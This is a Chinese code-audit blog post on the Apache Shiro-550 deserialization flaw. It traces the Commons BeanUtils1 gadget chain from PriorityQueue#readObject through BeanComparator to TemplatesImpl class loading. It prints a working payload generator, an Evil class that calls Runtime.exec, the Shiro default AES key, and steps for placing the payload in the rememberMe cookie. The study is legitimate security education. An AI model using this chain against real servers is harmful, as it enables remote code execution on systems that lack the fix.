当前位置: 首页 > news >正文

Java代码审计Shiro反序列化CB1链source入口sink执行gadget链

目录

0x00 前言

0x01 CC链&CB链简介

1. Commons Collections链是什么?

2. Commons BeanUtils链是什么?

0x02 测试Commons BeanUtils1链

0x03 Shiro550 - Commons BeanUtils1链 - 跟踪分析(无依赖)

1. 前置知识 

2. Commons BeanUtils1链跟踪流程(重点)

3. 总结

0x04 Shiro550 - Commons BeanUtils1链 - Payload编写分析(提升)


0x00 前言

 希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!  

个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser's Blog

0x01 CC链&CB链简介

1. Commons Collections链是什么?

"CC链"指的是一种在Java反序列化漏洞攻击中使用的攻击链,主要利用了Apache Commons项目中的Commons Collections库。这个库包含了一些常用的Java集合类的实现,其中一些类在进行反序列化时会执行预定义的操作。攻击者可以构建恶意的反序列化数据,使其在执行反序列化操作时调用Commons Collections库中的特定类,从而最终导致执行恶意代码。常见的类包括TransformedMap等,攻击者通过构建一系列对象,将这些类链接在一起,形成一个CC链,达到执行恶意代码的目的。

2. Commons BeanUtils链是什么?

"CB链"指的是一种类似于CC链的攻击链,但使用的是Apache Commons项目中的Commons BeanUtils库。Commons BeanUtils库提供了用于操作Java对象的实用工具类,例如BeanMap和BeanComparator等。攻击者可以构建一个恶意的反序列化链,通过组合这些特殊的类和方法,形成一个CB链。当反序列化操作触发时,CB链会执行预定义的操作,最终导致执行攻击者的恶意代码。

0x02 测试Commons BeanUtils1链

Shiro项目环境:shiroweb && tomcat 9.0.80 && jdk 8u112

Shiro反序列化利用工具:shiroattack && jdk 8u112

 简单分析Commons BeanUtils链 payload生成逻辑:获取恶意类Evil=>getPayload生成并序列化=>AES加密=>Base64加密

public class Client1 {public static void main(String []args) throws Exception {// 1. 创建ClassPool对象,用于加载类ClassPool pool = ClassPool.getDefault();// 2. 获取恶意类Evil(该类执行计算器calc)CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName());// 3. 调用CommonsBeanutils1Shiro#getPayload方法,并传入序列化后的恶意类,生成payloadbyte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());// 4. 创建AesCipherService对象AesCipherService aes = new AesCipherService();// 5. 将key值Base64解码byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");// 6. 使用AES加密payload,暗含Base64加密ByteSource ciphertext = aes.encrypt(payloads, key);// 7. 将加密后的结果输出到控制台System.out.printf(ciphertext.toString());}
}

其中恶意类Evil.class调用Runtime.getRuntime().exec执行计算器:

public class Evil extends AbstractTranslet {public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}public Evil() throws Exception {super();System.out.println("Hello TemplatesImpl");Runtime.getRuntime().exec("calc.exe");}
}

以下为CommonsBeanutils1Shiro.class代码,用于生成payload。此处暂不分析,后面跟完链会详细介绍。

public class CommonsBeanutils1Shiro {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public byte[] getPayload(byte[] clazzBytes) throws Exception {TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});setFieldValue(obj, "_name", "HelloTemplatesImpl");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);// stub data for replacement laterqueue.add("1");queue.add("1");setFieldValue(comparator, "property", "outputProperties");setFieldValue(queue, "queue", new Object[]{obj, obj});// ==================// 生成序列化字符串ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();return barr.toByteArray();}
}

使用Client1.java测试CommonsBeanutils1Shiro链,BurpSuite抓包修改,将生成的payload替换Cookie: rememberMe=后的值,成功弹出计算器。

随后使用Client.java、Client0.java测试CommonsCollectionsShiro、CommonsCollections6链,同样的操作却并未成功执行命令,这是为什么呢?

这其实是由于项目自身环境造成的,实验中shiroweb的CB库版本为1.8.3,CC库版本为3.2.1。

一般来说可利用CC链的版本为3.1,这就是为什么上述CB链测试能成功,CC链未成功的原因。

0x03 Shiro550 - Commons BeanUtils1链 - 跟踪分析(无依赖)

1. 前置知识 

上篇文章讲述的URLDNS链能够造成DNSLog但却不能执行命令,为何CC&CB链就可以呢?这就是调试分析需要解决的问题。

目前我们已经知道了Shiro使用的是Java原生反序列化,其漏洞成因是反序列化的类重写了readObject方法。

现在引入CB库里的PropertyUtils.getProperty()方法,该方法可以动态地通过反射调用对象的属性的get方法。

执行:PropertyUtils.getProperty(new User("ch4ser","man",23),"age");User类的getAge方法被调用执行:PropertyUtils.getProperty(new TemplatesImpl(),"outputProperties");TemplatesImpl类的getOutputProperties方法被调用

另外,一个完整的攻击链通常由以下三个部分组成:

1、Source(源):入口点,通常是指攻击链的起始点,其中用户输入或外部数据进入应用程序。
在反序列化漏洞中,readObject 方法通常被认为是源,因为它是从输入流读取数据并进行反序列化的方法。
2、Sink(执行点):执行点,是攻击链上的终点,其中攻击者希望执行恶意操作的位置。
在反序列化漏洞中,sink 可能是一个动态方法执行、JNDI注入或写文件等操作。
3、Gadget(链):连接入口执行的多个类,通过它们的相互方法调用形成攻击链。Gadget 类通常满足一些条件,例如类之间方法调用是链式的,类实例之间的关系是嵌套的,调用链上的类都需要是可以序列化的。在反序列化漏洞中,Gadget 类是攻击者构建的、可序列化的类,通过构建特定的对象图,使得在反序列化时执行恶意代码。
 

2. Commons BeanUtils1链跟踪流程(重点)

参考文章:关于我学渗透的那档子事之Java反序列化-CB链 - FreeBuf网络安全行业门户

首先需要找到入口点Source:PriorityQueue#readObject方法

选择PriorityQueue这个类的原因是它重写了readObject方法,并且Shiro反序列化这个类的时候会调用其重写的readObject方法,经过层层嵌套调用,最终造成命令执行。值得一提的是,这个类的路径为java/util/PriorityQueue.java,也就意味着是JDK自带,不需要任何的依赖

可能有的师傅还是会问,有别的类也重写了readObject方法,为什么不选择别的类呢?这个问题其实不用过于纠结,因为我们目前是在别的大佬已经贡献了挖掘思路的基础上做的代码审计,并不是在挖0day,所以跟着他的思路走就行了。

链:PriorityQueue#readObject

private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();s.readInt();queue = new Object[size];for (int i = 0; i < size; i++)queue[i] = s.readObject();heapify();
}

PriorityQueue#readObject本身没有命令执行函数,但发现调用了heapify方法,按照我们的思路现在应该步入heapify方法,检查其有没有可能会造成命令执行。

步入heapify方法,发现循环里调用了siftDown方法,继续跟进。

链:PriorityQueue#readObject=>heapify=>siftDown

条件1:size值大于等于2

private void heapify() {for (int i = (size >>> 1) - 1; i >= 0; i--)siftDown(i, (E) queue[i]);
}

步入siftDown方法,选择条件comparator != null时所调用的siftDownUsingComparator方法,继续跟进。

链:PriorityQueue#readObject=>heapify=>siftDown=>siftDownUsingComparator

条件1:size值大于等于2 

条件2:comparator != null

private void siftDown(int k, E x) {if (comparator != null)siftDownUsingComparator(k, x);elsesiftDownComparable(k, x);
}

步入siftDownUsingComparator方法,关注Comparator#compare方法

链:PriorityQueue#readObject=>heapify=>siftDown=>siftDownUsingComparator=>Comparator#compare

条件1:size值大于等于2 

条件2:comparator != null

private void siftDownUsingComparator(int k, E x) {int half = size >>> 1;while (k < half) {int child = (k << 1) + 1;Object c = queue[child];int right = child + 1;if (right < size && comparator.compare((E) c, (E) queue[right]) > 0)c = queue[child = right];if (comparator.compare(x, (E) c) <= 0)break;queue[k] = c;k = child;}queue[k] = x;
}

步入Comparator#compare,发现这其实是一个接口,并且BeanComparator类继承了Comparator类和Serializable类,实现了compare接口。

在BeanComparator#compare方法里看到了熟悉的东西:PropertyUtils.getProperty() 

由于我们需要代码逻辑走PropertyUtils.getProperty(),那么就需要让成员变量this.property != null,不然就会直接return。由于this.property是BeanComparator类的成员变量,检查发现其有内置的get、set方法,所以是可以实现控制的。

那么,当执行PropertyUtils.getProperty(o1, this.property)时,如果控制o1=new TemplatesImpl(),this.property="outputProperties",不就可以执行TemplatesImpl#getOutputProperties方法了吗?

链:PriorityQueue#readObject=>heapify=>siftDown=>siftDownUsingComparator=>Comparator#compare

=>BeanComparator#compare=>PropertyUtils.getProperty()

=>TemplatesImpl#getOutputProperties

条件1:size值大于等于2 

条件2:comparator != null

条件3:this.property != null

条件4:o1=new TemplatesImpl(),this.property="outputProperties"

 

public int compare(Object o1, Object o2) {if (this.property == null) {return this.comparator.compare(o1, o2);} else {try {Object value1 = PropertyUtils.getProperty(o1, this.property);Object value2 = PropertyUtils.getProperty(o2, this.property);return this.comparator.compare(value1, value2);} catch (IllegalAccessException var5) {throw new RuntimeException("IllegalAccessException: " + var5.toString());} catch (InvocationTargetException var6) {throw new RuntimeException("InvocationTargetException: " + var6.toString());} catch (NoSuchMethodException var7) {throw new RuntimeException("NoSuchMethodException: " + var7.toString());}}
}

 来到getOutputProperties方法,其调用newTransformer()方法,接着跟。

public synchronized Properties getOutputProperties() {try {return newTransformer().getOutputProperties();} catch (TransformerConfigurationException e) {return null;}
}

来到newTransformer方法,其调用执行getTransletInstance()方法,接着跟。

public synchronized Transformer newTransformer() throws TransformerConfigurationException {TransformerImpl transformer;transformer = new TransformerImpl(getTransletInstance(), _outputProperties,_indentNumber, _tfactory);if (_uriResolver != null) {transformer.setURIResolver(_uriResolver);}if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {transformer.setSecureProcessing(true);}return transformer;
}

来到getTransletInstance方法,当满足条件_name != null和_class == null时,调用执行defineTransletClasses()方法。

链:PriorityQueue#readObject=>heapify=>siftDown=>siftDownUsingComparator=>Comparator#compare

=>BeanComparator#compare=>PropertyUtils.getProperty()

=>TemplatesImpl#getOutputProperties

=>newTransformer()=>getTransletInstance()=>defineTransletClasses()

条件1:size值大于等于2 

条件2:comparator != null

条件3:this.property != null

条件4:o1=new TemplatesImpl(),this.property="outputProperties"

条件5:_name != null,_class == null

private Translet getTransletInstance()throws TransformerConfigurationException {try {if (_name == null) return null;if (_class == null) defineTransletClasses();// The translet needs to keep a reference to all its auxiliary// class to prevent the GC from collecting themAbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();translet.postInitialization();translet.setTemplates(this);translet.setServicesMechnism(_useServicesMechanism);translet.setAllowedProtocols(_accessExternalStylesheet);if (_auxClasses != null) {translet.setAuxiliaryClasses(_auxClasses);}return translet;}catch (InstantiationException e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}catch (IllegalAccessException e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}}

来到defineTransletClasses()方法,当满足条件_bytecodes != null时(不然会抛出异常),会往下执行loader.defineClass()方法,此处为Sink。

注意:在代码中,loader.defineClass(_bytecodes[i])的目的是将_bytecodes[i]中的字节码转换为Class对象,并将该类加载执行,而Java里的.class文件是可以直接执行命令的,故此处便解答了之前的疑问。

在漏洞利用的角度,此处的_bytecodes就是序列化后的恶意类(类似shiroattack执行计算器的Evil类)。

链:PriorityQueue#readObject=>heapify=>siftDown=>siftDownUsingComparator=>Comparator#compare

=>BeanComparator#compare=>PropertyUtils.getProperty()

=>TemplatesImpl#getOutputProperties

=>newTransformer()=>getTransletInstance()=>defineTransletClasses()

=>loader.defineClass()

条件1:size值大于等于2 

条件2:comparator != null

条件3:this.property != null

条件4:o1=new TemplatesImpl(),this.property="outputProperties"

条件5:_name != null,_class == null

条件6:_bytecodes != null,_bytecodes=序列化后的恶意类

private void defineTransletClasses()throws TransformerConfigurationException {if (_bytecodes == null) {ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);throw new TransformerConfigurationException(err.toString());}@SuppressWarnings("removal")TransletClassLoader loader =AccessController.doPrivileged(new PrivilegedAction<TransletClassLoader>() {public TransletClassLoader run() {return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());}});try {final int classCount = _bytecodes.length;_class = new Class<?>[classCount];if (classCount > 1) {_auxClasses = new HashMap<>();}// create a module for the transletString mn = "jdk.translet";String pn = _tfactory.getPackageName();assert pn != null && pn.length() > 0;ModuleDescriptor descriptor =ModuleDescriptor.newModule(mn, Set.of(ModuleDescriptor.Modifier.SYNTHETIC)).requires("java.xml").exports(pn, Set.of("java.xml")).build();Module m = createModule(descriptor, loader);// the module needs access to runtime classesModule thisModule = TemplatesImpl.class.getModule();// the module also needs permission to access each package// that is exported to itPermissionCollection perms =new RuntimePermission("*").newPermissionCollection();Arrays.asList(Constants.PKGS_USED_BY_TRANSLET_CLASSES).forEach(p -> {thisModule.addExports(p, m);perms.add(new RuntimePermission("accessClassInPackage." + p));});CodeSource codeSource = new CodeSource(null, (CodeSigner[])null);ProtectionDomain pd = new ProtectionDomain(codeSource, perms,loader, null);// java.xml needs to instantiate the translet classthisModule.addReads(m);for (int i = 0; i < classCount; i++) {_class[i] = loader.defineClass(_bytecodes[i], pd);final Class<?> superClass = _class[i].getSuperclass();// Check if this is the main classif (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}else {_auxClasses.put(_class[i].getName(), _class[i]);}}if (_transletIndex < 0) {ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);throw new TransformerConfigurationException(err.toString());}}catch (ClassFormatError e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);throw new TransformerConfigurationException(err.toString(), e);}catch (LinkageError e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString(), e);}}
3. 总结

PriorityQueue类:Source入口点,readObject方法

BeanComparator类:调用PropertyUtils.getProperty(),控制o1和property,执行TemplatesImpl类的getOutputProperties方法,承上启下的作用

TemplatesImpt类:Sink执行点,调用恶意类,loader.defineClass()方法

0x04 Shiro550 - Commons BeanUtils1链 - Payload编写分析(提升)

跟踪完Commons BeanUtils链后,现在分析Commons BeanUtils链payload的生成逻辑。

首先看setFieldValue方法,使用Java反射获取对象的成员变量,设置Accessible以便访问私有成员变量,然后使用反射设置成员变量的值。

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {//获取对象的成员变量Field field = obj.getClass().getDeclaredField(fieldName);//设置Accessible以便访问私有成员变量field.setAccessible(true);//使用反射设置成员变量的值field.set(obj, value);
}

来到getPayload方法的第一部分,创建一个TemplatesImpl对象,并使用setFieldValue方法设置其相关成员变量的值。 

其中_bytecodes来源:_bytecodes <= clazzBytes <= clazz.toBytecode() <= Evil恶意类

//创建 TemplatesImpl 对象
TemplatesImpl obj = new TemplatesImpl();//使用 setFieldValue 方法设置相关成员变量的值,
//同时需要满足条件:_bytecodes != null、_name != null 等等
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

来到getPayload方法的第二部分,创建BeanComparator对象和PriorityQueue 对象,具体见注释:

//创建 BeanComparator 对象
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
//创建 PriorityQueue 对象
//传入 2 是为了满足条件:size值 ≥ 2
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);//随便向队列 queue 中添加数据,稍后会被替换为 TemplatesImpl 对象
queue.add("1");
queue.add("1");

来到getPayload方法的第三部分,设置BeanComparator的成员变量property为outputProperties,同时设置PriorityQueue的queue字段为包含两个TemplatesImpl对象的数组。

于是,最终得到的PriorityQueue(queue)包含了TemplatesImpl对象和BeanComparator对象,其中BeanComparator对象的property字段被设置为"outputProperties"。

注意:实际上这里就是在控制o1=new TemplatesImpl(),this.property="outputProperties",于是执行PropertyUtils.getProperty(o1, this.property)时,就会调用TemplatesImpl#getOutputProperties方法。

//将 BeanComparator 的 property 字段设置为字符串 "outputProperties"
setFieldValue(comparator, "property", "outputProperties");//将 PriorityQueue 的 queue 字段设置为一个包含两个相同的 TemplatesImpl 对象的数组
//这两个对象将替换之前队列 queue 中的数据
setFieldValue(queue, "queue", new Object[]{obj, obj});

来到getPayload方法的第四部分,将PriorityQueue对象序列化为字节数组并返回,完成了payload的生成。

// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();// 返回序列化后的字节数组
return barr.toByteArray();

相关文章:

  • P2717 寒假作业 CDQ
  • GitHub Copilot 与 OpenAI ChatGPT 的区别及应用领域比较
  • 数据结构之顺序表的增删查改
  • 智能安全帽定制_基于联发科MT6762平台的智能安全帽方案
  • Spring Boot多环境配置
  • Winform使用Webview2(Edge浏览器核心)实现精美教程目录
  • PHP AES加解密示例【详解】
  • Qt 容器 Qlist
  • 伪装实例分割模型:OSFormer模型及论文解析
  • 51单片机定时器
  • Tomcat快速入门
  • Python基础之异常处理
  • springboot配置项动态刷新
  • 应用层—HTTPS详解(对称加密、非对称加密、密钥……)
  • 5G_系统同步机制(八)
  • 分享一款快速APP功能测试工具
  • 230. Kth Smallest Element in a BST
  • Apache Pulsar 2.1 重磅发布
  • ES6系列(二)变量的解构赋值
  • IIS 10 PHP CGI 设置 PHP_INI_SCAN_DIR
  • Java Agent 学习笔记
  • Mac转Windows的拯救指南
  • Mocha测试初探
  • socket.io+express实现聊天室的思考(三)
  • Vultr 教程目录
  • 买一台 iPhone X,还是创建一家未来的独角兽?
  • 使用 Node.js 的 nodemailer 模块发送邮件(支持 QQ、163 等、支持附件)
  • 要让cordova项目适配iphoneX + ios11.4,总共要几步?三步
  • 一起来学SpringBoot | 第三篇:SpringBoot日志配置
  • 再谈express与koa的对比
  • 智能网联汽车信息安全
  • [地铁译]使用SSD缓存应用数据——Moneta项目: 低成本优化的下一代EVCache ...
  • #includecmath
  • #LLM入门|Prompt#1.8_聊天机器人_Chatbot
  • (01)ORB-SLAM2源码无死角解析-(66) BA优化(g2o)→闭环线程:Optimizer::GlobalBundleAdjustemnt→全局优化
  • (4)通过调用hadoop的java api实现本地文件上传到hadoop文件系统上
  • (Arcgis)Python编程批量将HDF5文件转换为TIFF格式并应用地理转换和投影信息
  • (C语言)strcpy与strcpy详解,与模拟实现
  • (Git) gitignore基础使用
  • (java版)排序算法----【冒泡,选择,插入,希尔,快速排序,归并排序,基数排序】超详细~~
  • (Matlab)使用竞争神经网络实现数据聚类
  • (附源码)ssm失物招领系统 毕业设计 182317
  • (九)c52学习之旅-定时器
  • (转)真正的中国天气api接口xml,json(求加精) ...
  • ***检测工具之RKHunter AIDE
  • .FileZilla的使用和主动模式被动模式介绍
  • .gitignore文件---让git自动忽略指定文件
  • .NET/C# 的字符串暂存池
  • .NET框架类在ASP.NET中的使用(2) ——QA
  • .net图片验证码生成、点击刷新及验证输入是否正确
  • .NET下的多线程编程—1-线程机制概述
  • .net中的Queue和Stack
  • /usr/bin/python: can't decompress data; zlib not available 的异常处理
  • @data注解_一枚 架构师 也不会用的Lombok注解,相见恨晚
  • @kafkalistener消费不到消息_消息队列对战之RabbitMq 大战 kafka